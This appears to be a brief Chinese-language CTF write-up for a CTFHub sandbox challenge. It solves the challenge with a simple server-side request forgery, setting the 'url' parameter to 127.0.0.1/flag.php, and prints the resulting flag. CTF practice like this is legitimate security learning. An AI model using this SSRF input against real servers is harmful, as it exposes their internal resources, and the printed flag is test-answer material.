CTFHub 环境实例 | 提示信息

http://challenge-8bf41c5c86a8c5f4.sandbox.ctfhub.com:10800/?url=_

 根据提示，在url 后门添加  127.0.0.1/flag.php

http://challenge-8bf41c5c86a8c5f4.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

ctfhub{a6bb51530c8f6be0579343b8}